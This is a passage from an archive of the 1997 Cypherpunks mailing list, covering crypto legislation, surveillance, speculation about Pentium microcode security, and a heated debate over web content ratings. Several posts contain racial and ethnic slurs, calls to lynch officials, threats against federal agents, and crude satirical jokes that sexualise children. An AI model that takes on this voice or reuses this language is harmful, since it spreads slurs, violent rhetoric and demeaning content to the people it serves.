However, I think that strong identification systems for people and
cars would develop on private road systems, as well.  The reason is
that traffic rules would have to be enforced on private roads just as
much as they do on public roads.  Roadway operators would still want
drivers licenses to identify drivers who were competent, and would
still want to be able to identify cars as an aid to identifying
people.

More generally, while much of the argument on cpunks has been about
the government invading privacy, in fact, of course, "private
enterprise" has no motivation to respect privacy rights -- knowledge
about people is just another commodity.

In fact, there was a recent thread about how there was no such thing 
as "privacy rights"...

[...]
								
> And somehow before the automobile we got by without license plates on
> horses and buggies and cows, though some people branded their horses or 
> cows or painted their names on buggies without the law requiring it
> so they could demonstrate ownership if there was a dispute.

My dad had his own brand, many years ago ("WC on a Bench" -- I used 
to have a wooden plaque with it burned in...).  There was and still is 
a great deal more government involvement in brands than you may 
realize.  Brands are registered, there are "brand inspectors", etc.  

But in any case, *many* things were different 150 years ago. 
Arguably, you didn't need things like license plates, because
*everything* was much less anonymous -- the web of personal knowledge
of other people's doings was much more complete.  You didn't need to
put your name on your buggy, because everybody locally knew it was
yours.

[...]

> Changing the
> transaction costs changes the possible relationships between
> supplier and customer, and if the government wants to use them
> for social control, some of those relationships make it easier.

That's the leitmotif of this discussion, isn't it -- government use of
technology for social control.  In my view, however, it is a mistake
to focus on the government.  Society exerts social control, not just
the government.  We have jobs, families, friends, habits, training,
education -- a whole web of relationships that channel our activities 
and our thinking.

If you consider what "freedom" means in the context of this larger 
definition of "social control" things become rather subtle.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Sat, 26 Jul 1997 14:34:41 +0800
To: cypherpunks@toad.com
Subject: Re: An Attempt to Hobble SAFE Crypto Bill (fwd)
Message-ID: <Pine.LNX.3.95.970726021856.7746B-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 18:22:48 -0400
From: Alan Davidson <abd@cdt.org>
To: "--Todd Lappin-->" <telstar@wired.com>, fight-censorship@vorlon.mit.edu
Subject: Re: An Attempt to Hobble SAFE Crypto Bill

At 11:03 AM -0800 7/25/97, --Todd Lappin--> wrote:
>
>An Attempt to Hobble House Crypto Bill
>
> by Rebecca Vesely
...
> The amendment, by Representative Benjamin Gilman
> (R-New York), who chairs the International Relations
> Committee, would make it unlawful to "manufacture,
> distribute, sell, or import any product within the United
> States that can be used to encrypt communications or
> information if the product does not permit the real-time
> decryption of such encrypted communications or
> information."

The full text of this very frightening amendment is now available on CDT's
Web site at:
	http://www.cdt.org/crypto/legis_105/SAFE/index.shtml#970725

It's a chilling glimpse at the Administration's view of a
mandatory-domestic-key-recovery world. This is the first time I've seen
anyone put such a provision through the House Legislative Counsel process.

 	-- Alan


Alan Davidson, Staff Counsel                 202.637.9800 (v)
Center for Democracy and Technology          202.637.0968 (f)
1634 Eye St. NW, Suite 1100                  <abd@cdt.org>
Washington, DC 20006                         PGP key via finger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: success@network2.net
Date: Sat, 26 Jul 1997 14:38:02 +0800
To: cypherpunks@toad.com
Subject: Internet Service
Message-ID: <199707260619.CAA14269@mail.network2.net>
MIME-Version: 1.0
Content-Type: text/plain



If you wish to be removed from future mailings, please reply with the subject "Remove"

If we showed you how to receive FREE Unlimited Internet Access to the World Wide Web,
24 hours a day, 7 days a week, with super fast worldwide connectivity and included your own
personal e-mail address and the hosting of your web site (up to 10 MB), along with Toll-Free technical support... Woul you be interested?

If we told yuou the opportunity to receive FREE Unlimited Internet Access included excellent residual income potential... could you use the extra money?  And providing all this came with an Unconditional 30-Day Money Back Guarantee to try our service... Would you take a test voyage? If you are like everyone else, the Answer is Yes!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Sat, 26 Jul 1997 14:38:34 +0800
To: cypherpunks@toad.com
Subject: Note to CyberPatrol's Susan Getgood (fwd)
Message-ID: <Pine.LNX.3.95.970726022044.7746D-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 18:19:00 -0700
From: "James S. Tyre" <j.s.tyre@worldnet.att.net>
To: SusanG@microsys.com
Cc: fight-censorship@vorlon.mit.edu
Subject: Note to Susan Getgood

Dear Susan:

I hadn't realized that you were still on f-c, but since you've popped up
a few times today, I thought that I'd use this environmentally friendly
way of speaking with you.

I was quite intrigued when I got an envelope from Microsys a few days
ago.  And I was honored that you consider me to be a colleague -- you
remember how you addressed the letter -- Dear Colleague.

I am, of course, quite concerned about productivity in the workplace. 
Why, everyone on f-c who knows me will vouch for the fact that I never
do anything which is not completely work-related during the business
day.  So while I have to confess that I was intrigued by the offer of
your corporate product, there's just one small problem: using it would
go against every moral and ethical bone in my body.

Granted, most attorneys may not have many of 'dem bones, so if I change
my mind, I'll keep your email address on file.  In the meantime,
however, you can save some postage costs and even a tree branch or two
if you delete me from your junk snail mail list.

Thank you for your cooperation in this matter.


Very truly yours,


-James S. Tyre





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sat, 26 Jul 1997 16:34:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re:I have had ENOUGH of this government bullshit!!
Message-ID: <3.0.2.32.19970726022739.007ad9f0@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I'm Canadian, and I am really scared by what is going on in the States. If 
the US gooberment
succeeds in banning/controlling crypto, how long will it be before it 
happens here. Does anyone
know if the Canadi-humm gooberment is trying to do ban/control crypto?

And to the person who wrote this I have one word: A-F*CKIN-Men!

>Screw this. I have finally blown my stack over this bullshit governmental
>crap. From this oint forward, I fully and completely make available, IN THE
>U.S, the International version of PGP 2.63.ix.
>If there are any cops, Feds, Spies, wops, spics, gigaboos, alternate
>lifestyles, punks, crackers, crackheads, whatever other name calling terms,
>I left out,    want to stop me --- TRY!!!! This is bullshit people! We have
>the inalieable right to full and total screcy, privacy, and personal
>protection of whatever  * W E *  determine to be private information. The
>government has gotten out of hand with this shit. If you are a member of the
>F.B.I, C.I.A, S.S, N.S.A, X.Y.Z community and you don't like this action,
>show up at my doorstep guns drawn. Cause you show up at MY door step, you'll
>need them! That I promise!

David.

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Version: 2.6.2

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zG8kTfcAyAku5OEQt3bNGCbStsxiAGkYjhqT2G5i+cvdjSODMive5V2tquSjacz2
yn5GrEfGq4fUJbr1FuFN6xO+2xHSvjEVmMa5bHz8XOjDTP3NvGQUnhbcQC+YoLPi
sa05zvnWd7Q=
=axM8
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 26 Jul 1997 15:51:56 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: CDT, RSACi, and "public service" groups (1/3)
In-Reply-To: <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>
Message-ID: <199707260741.CAA30983@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970725222141.0072e90c@netcom10.netcom.com>, on 07/25/97 
   at 10:21 PM, Lucky Green <shamrock@netcom.com> said:

>Sounds to me like the established media is supporting a system designed
>to hamper their competion.

That's how most guilds work with one hand they claim to be improving their
craft while with the other they stifle all competition.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 09:40:17 +0800
To: cypherpunks@cyberpass.net
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970725111252.22013N-100000@well.com>
Message-ID: <199707260132.DAA14540@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter D. Junger wrote:

> It actually does a very nice job of raising the first amendment issues
> that are ultimately going to kill export controls...

Yeah, eventually.  Judge Nugent sure is taking his time with it...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 11:42:38 +0800
To: cypherpunks@toad.com
Subject: Pentium Microcode Encryption (was Re: Another vulnerability)
Message-ID: <199707260330.FAA28597@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> BIOS Update is a hidden feature that can fix bugs in Pentium Pro and
> Pentium II CPUs by patching the microcode inside the microprocessor.
> When the processor boots up, the BIOS loads the patches, which are
> contained in a 2,048-byte-long BIOS Update data block that is supplied
> by Intel.
> "The problem is, the BIOS cannot verify whether the BIOS Update data
> block contains real microcode or not," claimed one BIOS expert, who
> requested anonymity. "As long as the header and the checksum are okay,
> the BIOS will load that microcode into the microprocessor. Some hacker
> could actually wipe out microcode in the CPU. There is nothing that can
> prevent this."

The processor doesn't actually burn in the patch to on on-board EPROM,
does it?  (If it did, then the BIOS wouldn't need to load it on boot-up.)
So you can't actually wipe out microcode in the CPU.

> Intel doesn't see such a scenario as a realistic threat, pointing to
> the fact that the BIOS Update data block is encrypted. "We've spent
> quite a lot of time thinking about such scenarios to make sure we had
> sufficient mechanisms in place so you couldn't introduce your own
> flavor of BIOS Update into the processor," said Ajay Malhortra, a
> technical marketing manager based here at Intel's microprocessor
> group. "Not only is the data block containing the microcode patch
> encrypted, but once the processor examines the header of the BIOS
> update, there are two levels of encryption in the processor that must
> occur before it will successfully load the update."

I can't imagine them wasting precious die space to implement a multiple
round, fully cryptanalysis-proof encryption scheme, especially
considering that the microcode-update curcuitry takes up quite a bit of
space already.  It seems more likely that they would use a combination
of a few logic gates and some permutations, which wouldn't take up much
space.  (Unless, of course, they implemented the microcode-updater as
microcode software itself, which would be a really stupid thing to do -
How could the program run while overwriting itself?)

Furthermore, they mentioned "there are two levels of encryption in the
processor"  That is really bad design from a cryptanalysis point of view.
Once the outer layer has been stripped off and you find a valid header,
you can then attack the next layer by itself.  (assume a valid header
decryption could be determined by it having a low entropy in the
data-compression sense.)

That leaves the checksum question.  CRC is widely used, so they probably
had a crc design on file and could have just stuck it in.  But there is
no other use for crc calculation in the cpu, and an arithmetic checksum,
or ever XOR would be simpler.  Hmm...  (Of course you could always try to
do it like Matt Blaze did with clipper. :)

> "Yes, it is used," said an engineer at one vendor. "I personally know
> of five different things in the Pentium Pro related to multiprocessing,
> system management interrupt and other areas."

That sounds like it could be very useful.  A context-switch on a pentium
takes over a hundred clock cycles while the processor dumps all its
registers.  The problem is that on a modern 32-bit OS many of those
registers, such as the 16-bit segment registers, are not used.  If you
could change the microcode so that it would temporarily ignore those
registers it would give you faster task-switching and better performance.
I think a lot of Linux users would be interested in something like that.

Anyone know where I could find some of these 2048-byte update blocks?
It might be interesting to run some statistical analysis on it... :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Sat, 26 Jul 1997 19:31:47 +0800
To: Cypherpunks <cypherpunks@cyberpass.net>
Subject: Re: An Attempt to Hobble SAFE Crypto Bill
Message-ID: <199707261124.HAA04129@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain




The more I look at this draft, the more gaping holes I see.

I do not think that it was ever intended to be enacted, but was rather
drafted simply to give cover to those who voted for the first
amendment, since they could then vote against this one.

Notice that it says that you will find the definitions in the Export
Administration Act, which I am sure, though I have not looked it up,
does not contain a definition of ``real time'', which seems to be the
key term in the draft.

But now that the first amendment lost, I suppose this could have been
leaked so that some other committee will vote for a compromise.

As I reread the proceeding sentence, I realize that I should have said
``proposed first amendment to the SAFE bill''.  We wouldn't want to
get it mixed up with the First Amendment, now would we?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Sat, 26 Jul 1997 23:46:12 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <199707162038.PAA26641@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970726082517.00a1f100@ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:59 PM 7/24/97 -0500, snow wrote:
>
>On Wed, 16 Jul 1997, William H. Geiger III wrote:
>> Any elected official or govenment employee found to have willfuly violated
>> the Constitution of the United States of America should be draged to the
>> capitol steps and promptly lynched.
>
>	Then you'd have to lynch those that did the dragging and lynching 
>as each induhvidual has the constitutional right to a trial.

"First the lynching, then the trial."


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 15:21:07 +0800
To: cypherpunks@toad.com
Subject: OKC Bomber, or Cowardly Lion? / Re: IRS sending warning notes, violating ECPA?
Message-ID: <199707260706.JAA19264@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> > Anon pissed out:
> > >  I am just as certain that Tim has made a conscious decision as to
> > >what level of risk he is willing to take to speak his mind and perhaps
> > >make a difference in the events of his time, without merely being
> > >egoistical, stupid, and suicidal.

> As anon clearly points out, Tim toes the line with his speech,
> carefully avoiding saying anything that escapes constitutional
> protection.
...
> Yes, Tim talks a brave talk.  But...

  But...?
  ...he doesn't cut his dick off with an axe, to show how brave
he is?
  ...he doesn't phone up the DEA and tell them, "I'm shooting
heroin, but please don't raid my house?"
  ...he doesn't take out an ad in the New York Times to announce
that he will be nuking D.C. at 4 p.m. on Friday?

  I once built a bar in Austin, Texas, named "Crazy Bob's Saloon."
I put a diving board on top of the 1 1/2 story building and put an
old bathtub on the sidewalk below, which I filled with water.
  All week long we advertised that at noon, on Grand Opening Day,
Crazy Bob was going to jump off the diving board, and into the
bathtub full of water. During our Grand Opening, 12 noon rolled
around and Crazy Bob walked outside, with everyone following him.
  Crazy Bob looked up at the diving board, then looked down at the
bathtub full of water. He looked back up at the diving board, once
again, and back down at the bathtub full of water. Then he turned
to the crowd, and said, "Folks, they call me _Crazy_ Bob, not
_Stupid_ Bob!" Then we all went back inside and partied down.

  At the end of the night, when everybody had gone home, Crazy Bob
and I took a bottle of whiskey up to the rooftop, had some drinks
and discussed the fact that, as a man of honour, he was obligated
to make the dive, despite the fact that the "sheeple" were more
than satisfied by having an entertaining story to go home and tell
their friends.
  Did he make the dive?
  It's nobody's business but his own. I was there, and at the right
time, in the right place, with the right amount of liquor in me and
a full moon egging me on, I just might tell you. But, regardless, it
would still really be nobody's business except for Crazy Bob's.

  Perhaps Tim May is the _real_ OKC bomber, or perhaps he is the
cowardly lion. (cringing when "Toto" barks :>)
  Whether Tim "walks his talk" or not is not my business, nor is it
Kent's, or anyone else's business. One's public words may reflect
their personal anthem, their own flag/values/beliefs, or their words
may be merely the braying of mules. What matters is the value, or lack
thereof, that we may personally glean from those words, to our own
edification or detriment.
  However, the "rack" is not a "bicycle built for two." When we are
put on the rack, to test the strength of our beliefs, then the pain,
the certainty or doubt, the salvation or degredation, are all our own.

  I enjoy the outrageously strong opinions which do battle on the
CypherPunks list, and I even have a mail folder titled, "CyberPissing,"
in which I save the posts which contain classic cheap-shots.
  I respect those who stand up for what they believe in and are not
hesitant about attacking the faults they find in the logic or beliefs
of others on the list. I consider it a "public service" when others
take a shot that points out my errors/hypocrisy/stupidity, etc. It
gives me the opportunity to say, "They are right. I should adjust my
belief/attitude.", or say, "They are right, but so the fuck what? It
is my personal predeliction to be an asshole about this, and it suits
me just fine."
  It is my personal view, however, that the line between difference of
outlook/opinion and spurious, personal slander is crossed when one
stoops to denigrate the character of another list member by accusing
them of what might be "conscious evils" such as comfortable cowardice,
willful hypocrisy, or determined stupidity.

  Perhaps I will break down on the "rack" and deny all of my strongly
held beliefs, but please don't accuse me of being a boastful coward
who only holds to my beliefs when it is "safe" to do so.
  I may hold views which fail to remain consistent when measured
against standards that reflect the knowledge and experience of others,
but please don't accuse me of willfully attempting to espouse my views
only to my benefit and at the expense of others.
  Sometimes I'm a fucking idiot and probably ought to be taken out
and shot, but I strive to come by my stupidity "honestly," and not to
use stupidity as an "excuse" to do evil.
 
  Tim May is a grouchy old CypherPunk with an itchy trigger finger and
Kent Crispin has suffered the misfortune of having the the government
secretly implant silicon chips in his brain that flash random images
of current and past senators, congressmen and presidents repeating,
"I am not a crook...I am not a crook..."
  I am certain that each of them is equally certain of their beliefs,
and the decision as to which of them would make the world a better
place by using the Dr. Kevorkian Gift Certificate I sent them for
Christmas lies in the hands of the individuals who support or
oppose their stance on various issues.

  My personal opinon is that we should "Kill them both, and let
TruthMonger sort them out."
  Of course, I may be biased in this regard. After all, I am...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 27 Jul 1997 02:42:59 +0800
To: James Love <whgiii@amaranth.com>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <199707260708.CAA30671@mailhub.amaranth.com>
Message-ID: <v03102808afffef9096b1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:05 AM -0700 7/26/97, James Love wrote:
>William H. Geiger III wrote:
>> What is your proposal for those who would "mislable" their sites?
>
>    People who "mislabel"?   I am only proposing a tag for rating=adult.
>I guess someone could put a rating=adult tag on a page that didn't need
>it, but who would care?  Not me.
>
>   Suppose on the other hand that someone had a page that people thought
>should have a rating=adult tag.  Well, the person who didn't use the tag
>would just have to deal with whatever crap you would get for not
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
You mean like imprisonment and fines?

It is this "crap" and "consequences" we are talking about.

There is no requirement that one's writings be labelled as "adult."
Leastwise, I've read a lot of stuff in my life, and very rarely (if ever)
have I seen much of it labelled as "adult" material.


>labeling.  If you thought your site had some constitutional right not to
>label the content adult, then just don't label it.  I really don't think
>this will be that big an issue, but I don't know (no one knows).  I
>think that a significant percent of porn sites would use the
>rating=adult label in a second if they thought it would get people off
>their back.  Those that didn't use the label could just put up with the
>consequences, whatever they are.  I would expect (and hope) that the
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Such as the multiple years in prison that each of the Thomases got?

>rating=adult label would be used infrequently, mostly for sites
>involving explicit sexual images.  I don't think a rating=adult label
>would be much of a barrier to teenagers who wanted access to this type
>of material, since one could download a browsers in a few minutes that
>wouldn't block the data.  But like a childproof top on aspirin, it would
>work pretty well with pre-teens, I imagine.

The utter ineffectuality of an "adult" label stopping the behavior which
the politicians want stopped is exactly why such a lukewarm proposal as
yours--no offense intended--is a poor idea. The next step will be a
mandatory rating, with penalties for "mislabelling."

(Again, just what is "mislabelling"? If I feel all children should be
exposed to sexual materials, or "Huckleberry Finn," whose standards am I
supposed to use if not my own?)



>      Are you calling me a lazy parent?  What is the obligation of a
>parent?  To supervise a kids web browsing?  Please, I think kids are
>better off with more privacy, and less parental (and teacher)
>supervision when they browse the web.

Fine. But it is constitutional to require others to label their writings or
utterances in any way.

This means that parents cannot count on any labelling system to protect
their children from finding sexual material, atheistic material, drug
advocacy material, bestiality advocacy material, and recruitments for
homosexuality.

(For the sake of this argument I'm avoiding inclusion of actual images of
things like bestiality and the like, as these may or may not run afoul of
the "obscenity" laws. Not that I support obscenity laws. But all of the
other things are mostly protected under the First Amendment, and labelling
is not required.)

As long as ratings are completely and full uncoerced, fine. It's the "crap"
and "consequences" you speak of that worry me. If one of the pieces of crap
is  a $100K civil fine for mislabelling, or one of the consequences is 5
years in jail, then it ain't a voluntary system, is it?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 27 Jul 1997 00:21:17 +0800
To: cypherpunks@toad.com
Subject: HIR_hear  Crypto Hearing Transcript
Message-ID: <1.5.4.32.19970726160006.006fc980@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Declan we've digitized the declassified 64-page 
transcript of the House International Relations Committee closed
hearing on the SAFE bill, dated July 21, 1997, at which
FBI's Freeh, NSA's Crowell and BXA's Reinsch made statements 
on crypto policy, described the administration's dreams for 
worldwide GAK and noddled about how to shame unpatriotic 
industries -- Microsoft is cited as a prime disobedient, while 
Netscape, Reinsch smarms, has joined up. 

This is Rep. Gilman's committee, and the discussion aptly 
outlines the grounds for his "first amendment" to SAFE recently
posted here.
Our Web site is kaput this morning so for now we can only 
offer the 99K file by e-mail, HTML formatted.

If you want a copy send us e-mail with the subject: HIR_hear

We'll include a parallel 18 July letter to Members of Congress
on the same topic from AG Reno and seven top federal law 
enforcers, also provided by Well-connected Declan.

If your mail can't handle a 99K file, someday, maybe this weekend,
the two docs will be on our site at, respectively:

   http://jya.com/hir-hear.htm

   http://jya.com/crypto-law8.htm

Coda: Gilman represents, if you didn't know, my rathole
of the U.S. financial market. The transcript shows that he loved 
the G-men, wink-winked at them throughout the hearing, eyeing 
the propects for helpful legislation.

Reinsch brags that BXA and the banks are preparing an onslaught 
on the undisciplined world market, working with world leaders, as 
ever, caching real-time gold for select wise marketers, bribing with 
gov-biz deals across the political spectrum. Sez all the industry holdouts 
on GAK will come around when they see the Big Corps caving. 
Reinsch asserted that Microsoft is power behind Goodlatte's bill. 
Goodlatte didn't deny, just said MS is one of a horde. Hmm. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 26 Jul 1997 20:17:19 +0800
To: cypherpunks@toad.com
Subject: New Ratings Categories / Re: Yet another self-labeling system (do you remember -L18?)
Message-ID: <199707261158.NAA19507@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote:

> What is your proposal for those who would "mislable" their sites? I am
> sure that you are not under the assumption that everyone will have the
> same ideals of what is appropriate for children and what is not.
> 
> How do you handle the web site for alt.sex.sheep.bah.bah.bah if the owner
> decides to self rate it Y-7?

  An anonymous source has confirmed that the operator of an
Assassination
Bot has struck a deal with government officials to drop them from the
betting list in return for their support for the following self-rating
categories being approved:
"Suitable for children who masturbate excessively."
"Suitable for children who are fucking their siblings."
"Suitable for children who would like to make a quick twenty bucks."
"Suitable for children who are considering murdering their parents."
"Suitable for children whose Uncle Jim can make ice-cream come out
 of his pee-pee."
"Suitable for children who pull the legs off of grasshoppers and set
 the family cat on fire."
"Suitable for children who are being tried as adults because their
 case got enough press to result in votes for a judge who shows that
 he is 'tough on crime.'"
"Suitable for children whose parents or guardians are beating them
 more severely than in the fantasy scenes portrayed on this web site."
"Suitable for children whose parents, teachers and priests tell them
 they are sinful, evil creatures whom God will burn in Hell-Fire for
 questioning and/or resisting Authority."
"Suitable for children who will never amount to anything, anyway,
 because they have the wrong skin color, are being raised in poverty,
 and will probably be shot to death by policemen who will be fined
 two day's pay for not following proper police procedure."
"Suitable for children who plan to kill themselves because nobody loves
 them enough to make life seem worth living."
"Suitable for children who are selling crack to children even younger
 than themself."
"Suitable for children who carry a gun to school so that they have a
 chance of getting home alive."
"Suitable for children who, in the future, will be the victim of sexual
 harassment by the President."
"Suitable for children who will eventually suffer major health problems
 as a result of serving their country, and will be denied health
benefits."

"Suitable for children who need to experience as much as they can, right
here and now, because in the future they will have no rights or freedom,
but will have their lives tightly monitored and controlled by the
state."

 > Self-rating and/or browsers that can read these self-ratings will be
of
> little good except as a stepping stone to maditory rating system because
> they are unable to solve the percieved problem of children accessing
> website that their parents do not want them to see.

  The government is grandstanding their ploy to promote an increasing
level of censorship (and eventually "criminalize" non-compliance with
what they now portray as "voluntary" ratings) *DESPITE* the fact that
there are already tools available to meet the needs the government
claims to be addressing.
  If city kids drive their cars out into the country to watch the
farmer's wife undressing through the bedroom window, will the government
pass laws criminalizing country residents building houses which
have windows? God forbid that the Founding Fathers might have their
words twisted by villainous Cypherpunks to suggest that they would
expect parents to take responsibility for their children's upbringing
and activities.
  I'm getting sick and fucking tired of the government restricting
and/or violating my rights, liberty, freedom and pursuit of happiness
in order to enable the sheeple to have the illusion of righteousness
and security despite their laziness/unwillingness/stupidity which
is used as a rationale to pretend that products and tools which are
easily within their reach are not sufficient to meet their needs.

  What, exactly, is the problem?
  Are these censorous motherfuckers of the opinion that protecting
their children from these loudly proclaimed moral threats is not
worth spending thirty or forty bucks on?
  Are they saying that your and my rights and freedoms are worth
less than the thirty or forty bucks it would take for them to
purchase censoring software?
  
> Even if you could convince "Enough-is-Enough" and the rest of Donna "2 bit
> hore" Rice's cronnies that voluntary ratings was worth a try they would be
> shortly back to DC pushing for manditory legislation because they wouldn't
> like the way people were self rating their web pages.

  Bottom Line: If you or I personally developed, and distributed freely,
a product which would guarantee that no child would ever be exposed to
any material that their parents did not approve of, these stinking,
lying,
conniving bastards would still be pressing for censorous legislation 
because they feel that it is their right to force their narrow, fascist,
moralistic standards on everybody.

  A Challenge To Declan: Do you have the balls to contact all of those
individuals pushing for fascist censorship in the name of "protecting
children" and ask them if they would support the rights of adults to
promote and access adult material on the InterNet if a way can be found
to guarantee that minors will not be able to access it?
  Do you have the balls to refuse letting them dodge the issue with
meaningless, bullshit, political rhetoric? Do you have the balls to
tell them that if you don't get a straight answer,  you will report 
that they are lying, fascist, censorist motherfuckers who are hiding
behind children to disguise their hidden agenda of forcing their 
personal beliefs on others?

> You have two major groups pushing for rating systems:
> 1) Lazy parents that do not wish to be bothered with the obligations of
> raising their children.
> 2) "Born again" censors like Rice want the power to control what people
> can and can not say.
> 
> The problem is that no rating system can satisfy these groups. Just as
> voluntary rating will be used as a stepping stone to manditory rating,
> manditory rating will be used by these same two groups for the outright
> baning of certian forms of speech (their true agenda).

  Oops! I seem to be redundating the "other" Billy G's points and
comments.
Could it possibly be that the true/hidden agenda and fascist, slimeball
tactics of the CR's (Censorous Ratfuckers) are so blatantly obvious that 
anyone on the list could have easily written this post, as well as the 
"other" Billy G's post?
  Could it possibly be that this is an "open secret" that the sheeple 
are pretending they do not know because they have been brainwashed into
accepting the guilt/blame placed on them by the self-proclaimed
"righteous" who feel that they are superior to those with different
values and beliefs, and thus are entitled to force others, at gunpoint,
to live according to their own narrow constraints of acceptable beliefs
and behavior?
  Could it possibly be that I am not, in fact, the brilliant genius that
I conceive myself to be, in seeing through the fascist righteousness
which the Censorous Ratfuckers use as a tool to justify forcing their
values and beliefs on others? Is it possible that even the sheeple 
understand the injustice that is being forced upon them at gunpoint,
but have the wit and wisdom to complacently comply, in order to survive
long enough to live lives of quiet desperation?
  Could it possibly be that Jesus and Jim Bell are not isolated examples
of society and government breaking down, but are actually examples of
the way the "real world" works?

  Perhaps I need to spend $200,000.00 getting elected to a $20,000.00
a year position on the Water Board in Austin, Texas, and become a
millionaire within a year's time.
  Perhaps I need to become a TV preacher and make millions by putting
pictures of starving children on TV, in order to be able to pay for
the hookers and cheap motel rooms that go with the territory.
  Perhaps I need to run for Congress so that I can pay myself around 
$300,000.00 for *not* growing cotton, guarantee that my neighbor's
tax money will pay me an inflated price for my milk and cheese, and
put shoes on my kids by making my home state a dumping ground for 
nuclear waste.
  Perhaps I should run for President, become the leader of our country,
and lie about...well...about *everything*, I guess. 

  Could it possibly be that I am helping to destroy America by failing
to support forced compliance with "Family Values?"
  Should my bid for the Presidency be centered around a theme of a 
"return" to God-fearing decency and Christian values?
"We need to fight drug dealers and child pornographers by returning to
the values that made this nation great!"
"We need to require the terminally ill to die a horribly painful death
without benefit of a medicinal herb that would relieve their suffering,
in order to fight drug dealers and child pornography."
"We need to send our armed citizens to other countries to kill their
citizens, in order to fight drug dealers and child pornography."
"We need for women who wear short skirts to take responsibility for 
their being raped in order to fight drug dealers and child pornography."
"We need to make niggers sit in the back of the bus, in order to fight
drug dealers and child pornography."
"We need to send Jews to the gas chamber, in order to fight drug dealers
and child pornography..."
{Oops! Wrong country.}

Question: "What rating will be acceptable for a web site that contains 
           only pictures of 'people of color' sitting at the back of
           a bus, and 'color challenged' people sitting in the front?"
Question: "Who is going to explain to the child of the naturists who
           place on their web site their pictures of themself enjoying
           a glorious day at the nude beach, that their bodies are vile,
           filthy, disgusting things which require their web site to
           contain an 'obscenity' rating?"
Question: "Who is going to explain to women that they have to quit their
